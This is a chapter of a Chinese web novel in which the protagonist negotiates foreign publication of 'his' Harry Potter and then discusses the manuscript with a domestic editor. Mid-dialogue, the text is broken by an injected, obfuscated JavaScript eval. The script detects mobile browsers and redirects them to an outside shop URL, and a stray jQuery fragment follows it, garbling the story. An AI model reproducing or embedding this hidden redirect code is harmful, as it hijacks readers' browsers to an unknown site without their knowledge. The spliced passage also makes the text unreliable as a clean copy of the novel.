皮特在安映县待了一天。
次日,何玉衡和请了一天假的姜雨嘉,又带着他在嘉宁市里玩了一天。
所到之处,无不引起轰动。
回头率比姜雨嘉这个大美女高太多了。
而且是男女老少通杀的那种。
第三天,何玉衡和姜雨嘉请他在嘉宁市里吃过早餐后,将他送上了前往沪海市的火车。
接下来一段时间。
何玉衡将大部分精力都用在了公司里的事情上。
主要就是方便面调料的研发工作。
《哈利波特》也在写,但只是抽时间,一天写个一两千、两三千字。
受到何玉衡的感染。
姜雨嘉也在不断完善她的那本小说。
半个月后。
何玉衡接到了郝主任的通知,说后面的十万字稿件已经全部翻译好了。
恰好皮特也从岭南省乘坐飞机返回了京城,从酒店给他打来了电话。
何玉衡便没有去京城,而是告诉皮特,请他直接去农大拿翻译稿。
随后他又把此事告诉了郝主任,并承诺马上会把这十万字的翻译款汇过去。
此时已经是9月底了。
何玉衡把自己的《哈利波特》第一部中文稿整理好,连同姜雨嘉的小说稿件,一起寄给了陈友道。
至于姜雨嘉的那本小说的名字。
《暖春》。
当然是何玉衡取的。
反正原本的剧情大纲梗概也是从这部电视剧来的,那就直接取这个名字吧,简单省事,还有深刻寓意。
与此同时。
皮特带着《哈利波特》第一部的英文稿,返回霉国。
几天后。
何玉衡接到了皮特打来的越洋电话。
“何!”
皮特语气激动道:“我们出版社的老板亲自看了《哈利波特》,说非常棒,我们出版社很乐意出版这部小说!”
“不错。”
何玉衡说道:“版税分成怎么说?”
“老板说,给你版税6的分成!”
皮特问道:“你觉得怎么样?”
“太低了。”
何玉衡说道:“对于你们的版税分成比例,我是有所了解的,通常是5-10。请你转告你们社长,就说我要求10的版税分成。”
“这太高了吧!”
皮特说道:“何,你要知道,只有畅销书作者,我是说在西方国家的畅销书作者,才能拿到10的版税分成。而你,虽然在国内算是一名畅销书作者,但在西方市场毫无名气。10的版税分成,实在是太高了。”
“那我就通过我们国内的出版社,联系其他国外出版社,问问有谁愿意给10的版税分成。”
何玉衡说道:“如果没有任何一家出版社给10,我就自费出版,花钱委托一家出版社来替我出版此书。你知道的,我是个老板,不差这点出版一部小说的钱。”
虽然他和皮特的交情不错。
但是,在商言商。
出版社竟然只给他6的版税分成,明明是欺负人,他不可能同意的。
实际上,如果出版社给他8-9,他也就直接同意了。
但既然想坑他,他也不客气,直接开价10!
你不要,肯定有人要!
都没人要,我自费出版,也照样卖的火,而且挣得更多!
只不过问题在于,自费出版后的一些事情,自己不方便操作,不如出版社来操作,自己直接拿分成方便。
“好吧,何,我明白你的意思,实际上,我也觉得6的稿费实在是对不起这么一部优秀作品。”
皮特说道:“我会把你的话如实转达给我们老板,请他认真考虑的。我实在是不希望《哈利波特》落入其他出版社的手中。”
“谢谢你的理解,皮特。”
何玉衡笑道:“如果你们老板同意我的要求,会是你来和我签出版合约吗?”
“当然!”
皮特笑道:“我很希望能够再次去往你们的国家,并且去你的家乡,去感受大家的热情。”
“好的,我们随时欢迎。”
和皮特聊了几句后,挂断电话。
不大会儿,电话铃声响起。
何玉衡一看电话号码,发现竟然是《江北文学》编辑部的电话,应该陈友道打来的。
好嘛,国内国外赶一起了。
接通电话。
对面果然传来陈友道的声音:“小何,你寄来的这两部小说。
那部《暖春》,说是小姜写的,我信,因为看风格就和你们的上一部作品有许多相似之处。
可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14255538|151581||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是这部叫做《哈利波特》,被你定义为奇幻小说的作品。
真是你的原创,而并非翻译西方的文学作品而来吗?”
“陈主编,你觉得我会闲着没事给你开这样一个玩笑吗?”
何玉衡笑呵呵道。
“我也觉得应该不会。”
陈友道说道:“可是,虽然它的内容很精彩,但从行文叙事上来看,实在有很多翻译稿的痕迹。”
“那是因为,我把它写出来,就是为了翻译成英文版的。”
何玉衡笑着解释道:“陈主编,事情是这么回事。
一个月前,我在京城遇到了一位莓国的出版社编辑,与其相谈甚欢。
期间我们聊到了奇幻小说,我就动了自己也写一本的念头。
当然,其实这个念头早就在我心里了,这个故事也早就构思成型了,如今只不过是把它写出来罢了。
总之,我写了这么一部奇幻小说,并请人将其翻译成英文版,交给了那位莓国的编辑,并由他带到了霉国。
就在刚才,这位霉国编辑刚给我打来电话,说他们社长已经看过了,同意出版,只是具体的出版合同还需要进一步洽谈……”
“……”
陈友道陷入了沉默。
估计是被这个消息震惊了。
安静了足足两分钟后,他才开口问道:“这个莓国编辑,来自哪个出版社?”
何玉衡说出了皮特所在出版社的名字。
“这是一家很有实力的大型出版社啊。”
陈友道说道:“好吧,我现在相信了。只是,我真想不到,你竟然直接把小说出版到莓国了。”
“其实我原本并没有再写小说的打算,即便写,也肯定先投给你,再考虑委托你们出版社去联系国外的出版社。”
何玉衡说道:“但事情就是这么凑巧,我遇到了那位莓国编辑,重新点燃了创作热情,写了这部小说,便直接把英文版交给他了……还望陈主编理解。”
这年头,国内的出版社如果能够把一部国内作品推广到国外出版,不论销售好坏,都是一笔成绩!
如果销量高,那就更不必多说,可以对不少人的升职加薪都起到非常积极的作用。
所以,他直接把稿件投给皮特,相当于使得陈友道和他的同事、领导们,错失了这么好的一个机会。